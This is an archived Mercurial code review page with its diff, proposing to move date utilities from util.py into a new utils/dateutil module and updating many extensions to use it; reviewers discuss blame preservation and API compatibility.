This is an archive of the discontinued Mercurial Phabricator instance.

Differential D2003

util: extract all date-related utils in utils/dateutil module
AbandonedPublic

Authored by lothiraldan on Feb 2 2018, 4:40 AM.

Details

Reviewers
durin42
Group Reviewers
hg-reviewers
Summary

With this commit, util.py lose 313 lines

Diff Detail

Repository
rHG Mercurial
Lint
Lint Skipped
Unit
Unit Tests Skipped

Event Timeline

lothiraldan created this revision.Feb 2 2018, 4:40 AM
lothiraldan added a reviewer: durin42.Feb 2 2018, 4:40 AM
lothiraldan added a subscriber: durin42.

@durin42 please tell me if I am on the right tracks

mharbison72 added a subscriber: mharbison72.Feb 2 2018, 7:56 AM

Should dateutil.py be created with ‘hg cp’ to make annotate easier?

durin42 added a comment.Feb 2 2018, 10:58 AM

I think this is a reasonable approach. Do mark the copy though for blame preservation, and make sure to add utils/__init__.py and add mercurial.utils to the setup.py

Thanks!

durin42 requested changes to this revision.Feb 2 2018, 10:58 AM
This revision now requires changes to proceed.Feb 2 2018, 10:58 AM
indygreg added a subscriber: indygreg.Feb 2 2018, 1:46 PM

Should we alias the symbols into util to avoid the massive API break? We already re-export a number of symbols from util.

durin42 added a comment.Feb 2 2018, 1:46 PM

Probably, but I'd also like to time-box how long we do those exports to a release cycle or two so we can get out from under the mess.

lothiraldan updated this revision to Diff 5205.Feb 5 2018, 9:06 AM
lothiraldan abandoned this revision.Feb 5 2018, 11:28 AM

I updated the series with copying util.py to utils/dateutil.py.

I've also added the deprecation warnings but I'm not sure how to add deprecation warnings for variables.

I also splitted the change as copying util.py made the change harder to read.

Abandoned in favor of" https://phab.mercurial-scm.org/D2056

Revision Contents
Changeset List

Diff 5205

contrib/synthrepo.py

) )
from mercurial import ( from mercurial import (
context, context,
error, error,
hg, hg,
patch, patch,
registrar, registrar,
scmutil, scmutil,
util,
) )
from mercurial.utils import dateutil
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# be specifying the version(s) of Mercurial they are tested with, or # be specifying the version(s) of Mercurial they are tested with, or
# leave the attribute unspecified. # leave the attribute unspecified.
testedwith = 'ships-with-hg-core' testedwith = 'ships-with-hg-core'
cmdtable = {} cmdtable = {}
def filectxfn(repo, memctx, path): def filectxfn(repo, memctx, path):
return context.memfilectx(repo, memctx, path, files[path]) return context.memfilectx(repo, memctx, path, files[path])
ui.progress(_synthesizing, None) ui.progress(_synthesizing, None)
message = 'synthesized wide repo with %d files' % (len(files),) message = 'synthesized wide repo with %d files' % (len(files),)
mc = context.memctx(repo, [pctx.node(), nullid], message, mc = context.memctx(repo, [pctx.node(), nullid], message,
files.iterkeys(), filectxfn, ui.username(), files.iterkeys(), filectxfn, ui.username(),
'%d %d' % util.makedate()) '%d %d' % dateutil.makedate())
initnode = mc.commit() initnode = mc.commit()
if ui.debugflag: if ui.debugflag:
hexfn = hex hexfn = hex
else: else:
hexfn = short hexfn = short
ui.status(_('added commit %s with %d files\n') ui.status(_('added commit %s with %d files\n')
% (hexfn(initnode), len(files))) % (hexfn(initnode), len(files)))

hgext/blackbox.py

from mercurial.node import hex from mercurial.node import hex
from mercurial import ( from mercurial import (
encoding, encoding,
registrar, registrar,
ui as uimod, ui as uimod,
util, util,
) )
from mercurial.utils import dateutil
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# be specifying the version(s) of Mercurial they are tested with, or # be specifying the version(s) of Mercurial they are tested with, or
# leave the attribute unspecified. # leave the attribute unspecified.
testedwith = 'ships-with-hg-core' testedwith = 'ships-with-hg-core'
cmdtable = {} cmdtable = {}
repo = getattr(ui, '_bbrepo', None) repo = getattr(ui, '_bbrepo', None)
if not lastui or repo: if not lastui or repo:
lastui = ui lastui = ui
if getattr(ui, '_bbinlog', False): if getattr(ui, '_bbinlog', False):
# recursion and failure guard # recursion and failure guard
return return
ui._bbinlog = True ui._bbinlog = True
default = self.configdate('devel', 'default-date') default = self.configdate('devel', 'default-date')
date = util.datestr(default, '%Y/%m/%d %H:%M:%S') date = dateutil.datestr(default, '%Y/%m/%d %H:%M:%S')
user = util.getuser() user = util.getuser()
pid = '%d' % util.getpid() pid = '%d' % util.getpid()
formattedmsg = msg[0] % msg[1:] formattedmsg = msg[0] % msg[1:]
rev = '(unknown)' rev = '(unknown)'
changed = '' changed = ''
if repo: if repo:
ctx = repo[None] ctx = repo[None]
parents = ctx.parents() parents = ctx.parents()

hgext/churn.py

from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import ( from mercurial import (
cmdutil, cmdutil,
encoding, encoding,
patch, patch,
pycompat, pycompat,
registrar, registrar,
scmutil, scmutil,
util,
) )
from mercurial.utils import dateutil
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# be specifying the version(s) of Mercurial they are tested with, or # be specifying the version(s) of Mercurial they are tested with, or
# leave the attribute unspecified. # leave the attribute unspecified.
testedwith = 'ships-with-hg-core' testedwith = 'ships-with-hg-core'
ui.pushbuffer() ui.pushbuffer()
tmpl.show(ctx) tmpl.show(ctx)
return ui.popbuffer() return ui.popbuffer()
state = {'count': 0} state = {'count': 0}
rate = {} rate = {}
df = False df = False
if opts.get('date'): if opts.get('date'):
df = util.matchdate(opts['date']) df = dateutil.matchdate(opts['date'])
m = scmutil.match(repo[None], pats, opts) m = scmutil.match(repo[None], pats, opts)
def prep(ctx, fns): def prep(ctx, fns):
rev = ctx.rev() rev = ctx.rev()
if df and not df(ctx.date()[0]): # doesn't match date format if df and not df(ctx.date()[0]): # doesn't match date format
return return
key = getkey(ctx).strip() key = getkey(ctx).strip()

hgext/convert/common.py

super(mapfile, self).__setitem__(key, value) super(mapfile, self).__setitem__(key, value)
def close(self): def close(self):
if self.fp: if self.fp:
self.fp.close() self.fp.close()
self.fp = None self.fp = None
def makedatetimestamp(t): def makedatetimestamp(t):
"""Like util.makedate() but for time t instead of current time""" """Like dateutil.makedate() but for time t instead of current time"""
delta = (datetime.datetime.utcfromtimestamp(t) - delta = (datetime.datetime.utcfromtimestamp(t) -
datetime.datetime.fromtimestamp(t)) datetime.datetime.fromtimestamp(t))
tz = delta.days * 86400 + delta.seconds tz = delta.days * 86400 + delta.seconds
return t, tz return t, tz

hgext/convert/convcmd.py

from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import ( from mercurial import (
encoding, encoding,
error, error,
hg, hg,
scmutil, scmutil,
util, util,
) )
from mercurial.utils import dateutil
from . import ( from . import (
bzr, bzr,
common, common,
cvs, cvs,
darcs, darcs,
filemap, filemap,
git, git,
return sorted(nodes, key=keyfn)[0] return sorted(nodes, key=keyfn)[0]
return picknext return picknext
def makedatesorter(): def makedatesorter():
"""Sort revisions by date.""" """Sort revisions by date."""
dates = {} dates = {}
def getdate(n): def getdate(n):
if n not in dates: if n not in dates:
dates[n] = util.parsedate(self.commitcache[n].date) dates[n] = dateutil.parsedate(self.commitcache[n].date)
return dates[n] return dates[n]
def picknext(nodes): def picknext(nodes):
return min([(getdate(n), n) for n in nodes])[1] return min([(getdate(n), n) for n in nodes])[1]
return picknext return picknext
if sortmode == 'branchsort': if sortmode == 'branchsort':

hgext/convert/cvs.py

from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import ( from mercurial import (
encoding, encoding,
error, error,
pycompat, pycompat,
util, util,
) )
from mercurial.utils import dateutil
from . import ( from . import (
common, common,
cvsps, cvsps,
) )
stringio = util.stringio stringio = util.stringio
checktool = common.checktool checktool = common.checktool
if maxrev and cs.id > maxrev: if maxrev and cs.id > maxrev:
break break
id = str(cs.id) id = str(cs.id)
cs.author = self.recode(cs.author) cs.author = self.recode(cs.author)
self.lastbranch[cs.branch] = id self.lastbranch[cs.branch] = id
cs.comment = self.recode(cs.comment) cs.comment = self.recode(cs.comment)
if self.ui.configbool('convert', 'localtimezone'): if self.ui.configbool('convert', 'localtimezone'):
cs.date = makedatetimestamp(cs.date[0]) cs.date = makedatetimestamp(cs.date[0])
date = util.datestr(cs.date, '%Y-%m-%d %H:%M:%S %1%2') date = dateutil.datestr(cs.date, '%Y-%m-%d %H:%M:%S %1%2')
self.tags.update(dict.fromkeys(cs.tags, id)) self.tags.update(dict.fromkeys(cs.tags, id))
files = {} files = {}
for f in cs.entries: for f in cs.entries:
files[f.file] = "%s%s" % ('.'.join([str(x) files[f.file] = "%s%s" % ('.'.join([str(x)
for x in f.revision]), for x in f.revision]),
['', '(DEAD)'][f.dead]) ['', '(DEAD)'][f.dead])

hgext/convert/cvsps.py

from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import ( from mercurial import (
encoding, encoding,
error, error,
hook, hook,
pycompat, pycompat,
util, util,
) )
from mercurial.utils import dateutil
pickle = util.pickle pickle = util.pickle
class logentry(object): class logentry(object):
'''Class logentry has the following attributes: '''Class logentry has the following attributes:
.author - author name as CVS knows it .author - author name as CVS knows it
.branch - name of branch this revision is on .branch - name of branch this revision is on
.branches - revision tuple of branches starting at this revision .branches - revision tuple of branches starting at this revision
break break
ui.note(_('cache has %d log entries\n') % len(oldlog)) ui.note(_('cache has %d log entries\n') % len(oldlog))
except Exception as e: except Exception as e:
ui.note(_('error reading cache: %r\n') % e) ui.note(_('error reading cache: %r\n') % e)
if oldlog: if oldlog:
date = oldlog[-1].date # last commit date as a (time,tz) tuple date = oldlog[-1].date # last commit date as a (time,tz) tuple
date = util.datestr(date, '%Y/%m/%d %H:%M:%S %1%2') date = dateutil.datestr(date, '%Y/%m/%d %H:%M:%S %1%2')
# build the CVS commandline # build the CVS commandline
cmd = ['cvs', '-q'] cmd = ['cvs', '-q']
if root: if root:
cmd.append('-d%s' % root) cmd.append('-d%s' % root)
p = util.normpath(getrepopath(root)) p = util.normpath(getrepopath(root))
if not p.endswith('/'): if not p.endswith('/'):
p += '/' p += '/'
d = match.group(1) d = match.group(1)
if d[2] == '/': if d[2] == '/':
# Y2K # Y2K
d = '19' + d d = '19' + d
if len(d.split()) != 3: if len(d.split()) != 3:
# cvs log dates always in GMT # cvs log dates always in GMT
d = d + ' UTC' d = d + ' UTC'
e.date = util.parsedate(d, ['%y/%m/%d %H:%M:%S', e.date = dateutil.parsedate(d, ['%y/%m/%d %H:%M:%S',
'%Y/%m/%d %H:%M:%S', '%Y/%m/%d %H:%M:%S',
'%Y-%m-%d %H:%M:%S']) '%Y-%m-%d %H:%M:%S'])
e.author = scache(match.group(2)) e.author = scache(match.group(2))
e.dead = match.group(3).lower() == 'dead' e.dead = match.group(3).lower() == 'dead'
if match.group(5): if match.group(5):
if match.group(6): if match.group(6):
e.lines = (int(match.group(5)), int(match.group(6))) e.lines = (int(match.group(5)), int(match.group(6)))
if opts["branches"] and (cs.branch or 'HEAD') not in opts["branches"]: if opts["branches"] and (cs.branch or 'HEAD') not in opts["branches"]:
continue continue
if not off: if not off:
# Note: trailing spaces on several lines here are needed to have # Note: trailing spaces on several lines here are needed to have
# bug-for-bug compatibility with cvsps. # bug-for-bug compatibility with cvsps.
ui.write('---------------------\n') ui.write('---------------------\n')
ui.write(('PatchSet %d \n' % cs.id)) ui.write(('PatchSet %d \n' % cs.id))
ui.write(('Date: %s\n' % util.datestr(cs.date, ui.write(('Date: %s\n' % dateutil.datestr(cs.date,
'%Y/%m/%d %H:%M:%S %1%2'))) '%Y/%m/%d %H:%M:%S %1%2')))
ui.write(('Author: %s\n' % cs.author)) ui.write(('Author: %s\n' % cs.author))
ui.write(('Branch: %s\n' % (cs.branch or 'HEAD'))) ui.write(('Branch: %s\n' % (cs.branch or 'HEAD')))
ui.write(('Tag%s: %s \n' % (['', 's'][len(cs.tags) > 1], ui.write(('Tag%s: %s \n' % (['', 's'][len(cs.tags) > 1],
','.join(cs.tags) or '(none)'))) ','.join(cs.tags) or '(none)')))
if cs.branchpoints: if cs.branchpoints:
ui.write(('Branchpoints: %s \n') % ui.write(('Branchpoints: %s \n') %
', '.join(sorted(cs.branchpoints))) ', '.join(sorted(cs.branchpoints)))

hgext/convert/darcs.py

import re import re
import shutil import shutil
import tempfile import tempfile
from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import ( from mercurial import (
error, error,
util, util,
) )
from mercurial.utils import dateutil
from . import common from . import common
NoRepo = common.NoRepo NoRepo = common.NoRepo
# The naming drift of ElementTree is fun! # The naming drift of ElementTree is fun!
try: try:
import xml.etree.cElementTree.ElementTree as ElementTree import xml.etree.cElementTree.ElementTree as ElementTree
import xml.etree.cElementTree.XMLParser as XMLParser import xml.etree.cElementTree.XMLParser as XMLParser
man.append(path) man.append(path)
return man return man
def getheads(self): def getheads(self):
return self.parents[None] return self.parents[None]
def getcommit(self, rev): def getcommit(self, rev):
elt = self.changes[rev] elt = self.changes[rev]
date = util.strdate(elt.get('local_date'), '%a %b %d %H:%M:%S %Z %Y') dateformat = '%a %b %d %H:%M:%S %Z %Y'
date = dateutil.strdate(elt.get('local_date'), dateformat)
desc = elt.findtext('name') + '\n' + elt.findtext('comment', '') desc = elt.findtext('name') + '\n' + elt.findtext('comment', '')
# etree can return unicode objects for name, comment, and author, # etree can return unicode objects for name, comment, and author,
# so recode() is used to ensure str objects are emitted. # so recode() is used to ensure str objects are emitted.
newdateformat = '%Y-%m-%d %H:%M:%S %1%2'
return common.commit(author=self.recode(elt.get('author')), return common.commit(author=self.recode(elt.get('author')),
date=util.datestr(date, '%Y-%m-%d %H:%M:%S %1%2'), date=dateutil.datestr(date, newdateformat),
desc=self.recode(desc).strip(), desc=self.recode(desc).strip(),
parents=self.parents[rev]) parents=self.parents[rev])
def pull(self, rev): def pull(self, rev):
output, status = self.run('pull', self.path, all=True, output, status = self.run('pull', self.path, all=True,
match='hash %s' % rev, match='hash %s' % rev,
no_test=True, no_posthook=True, no_test=True, no_posthook=True,
external_merge='/bin/false', external_merge='/bin/false',

hgext/convert/gnuarch.py

import tempfile import tempfile
from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import ( from mercurial import (
encoding, encoding,
error, error,
util, util,
) )
from mercurial.utils import dateutil
from . import common from . import common
class gnuarch_source(common.converter_source, common.commandline): class gnuarch_source(common.converter_source, common.commandline):
class gnuarch_rev(object): class gnuarch_rev(object):
def __init__(self, rev): def __init__(self, rev):
self.rev = rev self.rev = rev
self.summary = '' self.summary = ''
return path[2:] return path[2:]
return path return path
def _parsecatlog(self, data, rev): def _parsecatlog(self, data, rev):
try: try:
catlog = self.catlogparser.parsestr(data) catlog = self.catlogparser.parsestr(data)
# Commit date # Commit date
self.changes[rev].date = util.datestr( self.changes[rev].date = dateutil.datestr(
util.strdate(catlog['Standard-date'], dateutil.strdate(catlog['Standard-date'],
'%Y-%m-%d %H:%M:%S')) '%Y-%m-%d %H:%M:%S'))
# Commit author # Commit author
self.changes[rev].author = self.recode(catlog['Creator']) self.changes[rev].author = self.recode(catlog['Creator'])
# Commit description # Commit description
self.changes[rev].summary = '\n\n'.join((catlog['Summary'], self.changes[rev].summary = '\n\n'.join((catlog['Summary'],
catlog.get_payload())) catlog.get_payload()))

hgext/convert/hg.py

hg, hg,
lock as lockmod, lock as lockmod,
merge as mergemod, merge as mergemod,
node as nodemod, node as nodemod,
phases, phases,
scmutil, scmutil,
util, util,
) )
from mercurial.utils import dateutil
stringio = util.stringio stringio = util.stringio
from . import common from . import common
mapfile = common.mapfile mapfile = common.mapfile
NoRepo = common.NoRepo NoRepo = common.NoRepo
sha1re = re.compile(r'\b[0-9a-f]{12,40}\b') sha1re = re.compile(r'\b[0-9a-f]{12,40}\b')
def getcommit(self, rev): def getcommit(self, rev):
ctx = self._changectx(rev) ctx = self._changectx(rev)
_parents = self._parents(ctx) _parents = self._parents(ctx)
parents = [p.hex() for p in _parents] parents = [p.hex() for p in _parents]
optparents = [p.hex() for p in ctx.parents() if p and p not in _parents] optparents = [p.hex() for p in ctx.parents() if p and p not in _parents]
crev = rev crev = rev
return common.commit(author=ctx.user(), return common.commit(author=ctx.user(),
date=util.datestr(ctx.date(), date=dateutil.datestr(ctx.date(),
'%Y-%m-%d %H:%M:%S %1%2'), '%Y-%m-%d %H:%M:%S %1%2'),
desc=ctx.description(), desc=ctx.description(),
rev=crev, rev=crev,
parents=parents, parents=parents,
optparents=optparents, optparents=optparents,
branch=ctx.branch(), branch=ctx.branch(),
extra=ctx.extra(), extra=ctx.extra(),
sortkey=ctx.rev(), sortkey=ctx.rev(),

hgext/convert/monotone.py

# monotone.py - monotone support for the convert extension # monotone.py - monotone support for the convert extension
# #
# Copyright 2008, 2009 Mikkel Fahnoe Jorgensen <mikkel@dvide.com> and # Copyright 2008, 2009 Mikkel Fahnoe Jorgensen <mikkel@dvide.com> and
# others # others
# #
# This software may be used and distributed according to the terms of the # This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version. # GNU General Public License version 2 or any later version.
from __future__ import absolute_import from __future__ import absolute_import
import os import os
import re import re
from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import ( from mercurial import (
error, error,
util,
) )
from mercurial.utils import dateutil
from . import common from . import common
class monotone_source(common.converter_source, common.commandline): class monotone_source(common.converter_source, common.commandline):
def __init__(self, ui, repotype, path=None, revs=None): def __init__(self, ui, repotype, path=None, revs=None):
common.converter_source.__init__(self, ui, repotype, path, revs) common.converter_source.__init__(self, ui, repotype, path, revs)
if revs and len(revs) > 1: if revs and len(revs) > 1:
raise error.Abort(_('monotone source does not support specifying ' raise error.Abort(_('monotone source does not support specifying '
node, attr = self.files.get(name, (None, "")) node, attr = self.files.get(name, (None, ""))
return data, attr return data, attr
def getcommit(self, rev): def getcommit(self, rev):
extra = {} extra = {}
certs = self.mtngetcerts(rev) certs = self.mtngetcerts(rev)
if certs.get('suspend') == certs["branch"]: if certs.get('suspend') == certs["branch"]:
extra['close'] = 1 extra['close'] = 1
dateformat = "%Y-%m-%dT%H:%M:%S"
return common.commit( return common.commit(
author=certs["author"], author=certs["author"],
date=util.datestr(util.strdate(certs["date"], "%Y-%m-%dT%H:%M:%S")), date=dateutil.datestr(dateutil.strdate(certs["date"], dateformat)),
desc=certs["changelog"], desc=certs["changelog"],
rev=rev, rev=rev,
parents=self.mtnrun("parents", rev).splitlines(), parents=self.mtnrun("parents", rev).splitlines(),
branch=certs["branch"], branch=certs["branch"],
extra=extra) extra=extra)
def gettags(self): def gettags(self):
tags = {} tags = {}

hgext/convert/p4.py

# Perforce source for convert extension. # Perforce source for convert extension.
# #
# Copyright 2009, Frank Kingswood <frank@kingswood-consulting.co.uk> # Copyright 2009, Frank Kingswood <frank@kingswood-consulting.co.uk>
# #
# This software may be used and distributed according to the terms of the # This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version. # GNU General Public License version 2 or any later version.
from __future__ import absolute_import from __future__ import absolute_import
import marshal import marshal
import re import re
from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import ( from mercurial import (
error, error,
util, util,
) )
from mercurial.utils import dateutil
from . import common from . import common
def loaditer(f): def loaditer(f):
"Yield the dictionary objects generated by p4" "Yield the dictionary objects generated by p4"
try: try:
while True: while True:
d = marshal.load(f) d = marshal.load(f)
`p4 describe` output `p4 describe` output
""" """
desc = self.recode(obj.get("desc", "")) desc = self.recode(obj.get("desc", ""))
date = (int(obj["time"]), 0) # timezone not set date = (int(obj["time"]), 0) # timezone not set
if parents is None: if parents is None:
parents = [] parents = []
return common.commit(author=self.recode(obj["user"]), return common.commit(author=self.recode(obj["user"]),
date=util.datestr(date, '%Y-%m-%d %H:%M:%S %1%2'), date=dateutil.datestr(date, '%Y-%m-%d %H:%M:%S %1%2'),
parents=parents, desc=desc, branch=None, rev=obj['change'], parents=parents, desc=desc, branch=None, rev=obj['change'],
extra={"p4": obj['change'], "convert_revision": obj['change']}) extra={"p4": obj['change'], "convert_revision": obj['change']})
def _fetch_revision(self, rev): def _fetch_revision(self, rev):
"""Return an output of `p4 describe` including author, commit date as """Return an output of `p4 describe` including author, commit date as
a dictionary.""" a dictionary."""
cmd = "p4 -G describe -s %s" % rev cmd = "p4 -G describe -s %s" % rev
stdout = util.popen(cmd, mode='rb') stdout = util.popen(cmd, mode='rb')

hgext/convert/subversion.py

from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import ( from mercurial import (
encoding, encoding,
error, error,
pycompat, pycompat,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from mercurial.utils import dateutil
from . import common from . import common
pickle = util.pickle pickle = util.pickle
stringio = util.stringio stringio = util.stringio
propertycache = util.propertycache propertycache = util.propertycache
urlerr = util.urlerr urlerr = util.urlerr
urlreq = util.urlreq urlreq = util.urlreq
for path, ent in orig_paths: for path, ent in orig_paths:
if self.getrelpath(path) is None: if self.getrelpath(path) is None:
continue continue
paths.append((path, ent)) paths.append((path, ent))
# Example SVN datetime. Includes microseconds. # Example SVN datetime. Includes microseconds.
# ISO-8601 conformant # ISO-8601 conformant
# '2007-01-04T17:35:00.902377Z' # '2007-01-04T17:35:00.902377Z'
date = util.parsedate(date[:19] + " UTC", ["%Y-%m-%dT%H:%M:%S"]) date = dateutil.parsedate(date[:19] + " UTC", ["%Y-%m-%dT%H:%M:%S"])
if self.ui.configbool('convert', 'localtimezone'): if self.ui.configbool('convert', 'localtimezone'):
date = makedatetimestamp(date[0]) date = makedatetimestamp(date[0])
if message: if message:
log = self.recode(message) log = self.recode(message)
else: else:
log = '' log = ''
if author: if author:
author = self.recode(author) author = self.recode(author)
else: else:
author = '' author = ''
try: try:
branch = self.module.split("/")[-1] branch = self.module.split("/")[-1]
if branch == self.trunkname: if branch == self.trunkname:
branch = None branch = None
except IndexError: except IndexError:
branch = None branch = None
cset = commit(author=author, cset = commit(author=author,
date=util.datestr(date, '%Y-%m-%d %H:%M:%S %1%2'), date=dateutil.datestr(date, '%Y-%m-%d %H:%M:%S %1%2'),
desc=log, desc=log,
parents=parents, parents=parents,
branch=branch, branch=branch,
rev=rev) rev=rev)
self.commits[rev] = cset self.commits[rev] = cset
# The parents list is *shared* among self.paths and the # The parents list is *shared* among self.paths and the
# commit object. Both will be updated below. # commit object. Both will be updated below.

hgext/fetch.py

error, error,
exchange, exchange,
hg, hg,
lock, lock,
pycompat, pycompat,
registrar, registrar,
util, util,
) )
from mercurial.utils import dateutil
release = lock.release release = lock.release
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# be specifying the version(s) of Mercurial they are tested with, or # be specifying the version(s) of Mercurial they are tested with, or
# leave the attribute unspecified. # leave the attribute unspecified.
See :hg:`help dates` for a list of formats valid for -d/--date. See :hg:`help dates` for a list of formats valid for -d/--date.
Returns 0 on success. Returns 0 on success.
''' '''
opts = pycompat.byteskwargs(opts) opts = pycompat.byteskwargs(opts)
date = opts.get('date') date = opts.get('date')
if date: if date:
opts['date'] = util.parsedate(date) opts['date'] = dateutil.parsedate(date)
parent, _p2 = repo.dirstate.parents() parent, _p2 = repo.dirstate.parents()
branch = repo.dirstate.branch() branch = repo.dirstate.branch()
try: try:
branchnode = repo.branchtip(branch) branchnode = repo.branchtip(branch)
except error.RepoLookupError: except error.RepoLookupError:
branchnode = None branchnode = None
if parent != branchnode: if parent != branchnode:

hgext/gpg.py

cmdutil, cmdutil,
error, error,
match, match,
node as hgnode, node as hgnode,
pycompat, pycompat,
registrar, registrar,
util, util,
) )
from mercurial.utils import dateutil
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# be specifying the version(s) of Mercurial they are tested with, or # be specifying the version(s) of Mercurial they are tested with, or
# leave the attribute unspecified. # leave the attribute unspecified.
testedwith = 'ships-with-hg-core' testedwith = 'ships-with-hg-core'
def _dosign(ui, repo, *revs, **opts): def _dosign(ui, repo, *revs, **opts):
mygpg = newgpg(ui, **opts) mygpg = newgpg(ui, **opts)
opts = pycompat.byteskwargs(opts) opts = pycompat.byteskwargs(opts)
sigver = "0" sigver = "0"
sigmessage = "" sigmessage = ""
date = opts.get('date') date = opts.get('date')
if date: if date:
opts['date'] = util.parsedate(date) opts['date'] = dateutil.parsedate(date)
if revs: if revs:
nodes = [repo.lookup(n) for n in revs] nodes = [repo.lookup(n) for n in revs]
else: else:
nodes = [node for node in repo.dirstate.parents() nodes = [node for node in repo.dirstate.parents()
if node != hgnode.nullid] if node != hgnode.nullid]
if len(nodes) > 1: if len(nodes) > 1:
raise error.Abort(_('uncommitted merge - please provide a ' raise error.Abort(_('uncommitted merge - please provide a '

hgext/journal.py

hg, hg,
localrepo, localrepo,
lock, lock,
node, node,
pycompat, pycompat,
registrar, registrar,
util, util,
) )
from mercurial.utils import dateutil
from . import share from . import share
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
""" """
if not isinstance(oldhashes, list): if not isinstance(oldhashes, list):
oldhashes = [oldhashes] oldhashes = [oldhashes]
if not isinstance(newhashes, list): if not isinstance(newhashes, list):
newhashes = [newhashes] newhashes = [newhashes]
entry = journalentry( entry = journalentry(
util.makedate(), self.user, self.command, namespace, name, dateutil.makedate(), self.user, self.command, namespace, name,
oldhashes, newhashes) oldhashes, newhashes)
vfs = self.vfs vfs = self.vfs
if self.sharedvfs is not None: if self.sharedvfs is not None:
# write to the shared repository if this feature is being # write to the shared repository if this feature is being
# shared between working copies. # shared between working copies.
if sharednamespaces.get(namespace) in self.sharedfeatures: if sharednamespaces.get(namespace) in self.sharedfeatures:
vfs = self.sharedvfs vfs = self.sharedvfs

hgext/keyword.py

patch, patch,
pathutil, pathutil,
pycompat, pycompat,
registrar, registrar,
scmutil, scmutil,
templatefilters, templatefilters,
util, util,
) )
from mercurial.utils import dateutil
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# be specifying the version(s) of Mercurial they are tested with, or # be specifying the version(s) of Mercurial they are tested with, or
# leave the attribute unspecified. # leave the attribute unspecified.
testedwith = 'ships-with-hg-core' testedwith = 'ships-with-hg-core'
configitem('keywordset', 'svn', configitem('keywordset', 'svn',
default=False, default=False,
) )
# date like in cvs' $Date # date like in cvs' $Date
@templatefilter('utcdate') @templatefilter('utcdate')
def utcdate(text): def utcdate(text):
'''Date. Returns a UTC-date in this format: "2009/08/18 11:00:13". '''Date. Returns a UTC-date in this format: "2009/08/18 11:00:13".
''' '''
return util.datestr((util.parsedate(text)[0], 0), '%Y/%m/%d %H:%M:%S') dateformat = '%Y/%m/%d %H:%M:%S'
return dateutil.datestr((dateutil.parsedate(text)[0], 0), dateformat)
# date like in svn's $Date # date like in svn's $Date
@templatefilter('svnisodate') @templatefilter('svnisodate')
def svnisodate(text): def svnisodate(text):
'''Date. Returns a date in this format: "2009-08-18 13:00:13 '''Date. Returns a date in this format: "2009-08-18 13:00:13
+0200 (Tue, 18 Aug 2009)". +0200 (Tue, 18 Aug 2009)".
''' '''
return util.datestr(text, '%Y-%m-%d %H:%M:%S %1%2 (%a, %d %b %Y)') return dateutil.datestr(text, '%Y-%m-%d %H:%M:%S %1%2 (%a, %d %b %Y)')
# date like in svn's $Id # date like in svn's $Id
@templatefilter('svnutcdate') @templatefilter('svnutcdate')
def svnutcdate(text): def svnutcdate(text):
'''Date. Returns a UTC-date in this format: "2009-08-18 '''Date. Returns a UTC-date in this format: "2009-08-18
11:00:13Z". 11:00:13Z".
''' '''
return util.datestr((util.parsedate(text)[0], 0), '%Y-%m-%d %H:%M:%SZ') dateformat = '%Y-%m-%d %H:%M:%SZ'
return dateutil.datestr((dateutil.parsedate(text)[0], 0), dateformat)
# make keyword tools accessible # make keyword tools accessible
kwtools = {'hgcmd': ''} kwtools = {'hgcmd': ''}
def _defaultkwmaps(ui): def _defaultkwmaps(ui):
'''Returns default keywordmaps according to keywordset configuration.''' '''Returns default keywordmaps according to keywordset configuration.'''
templates = { templates = {
'Revision': '{node|short}', 'Revision': '{node|short}',

hgext/mq.py

registrar, registrar,
revsetlang, revsetlang,
scmutil, scmutil,
smartset, smartset,
subrepo, subrepo,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from mercurial.utils import dateutil
release = lockmod.release release = lockmod.release
seriesopts = [('s', 'summary', None, _('print first line of patch header'))] seriesopts = [('s', 'summary', None, _('print first line of patch header'))]
cmdtable = {} cmdtable = {}
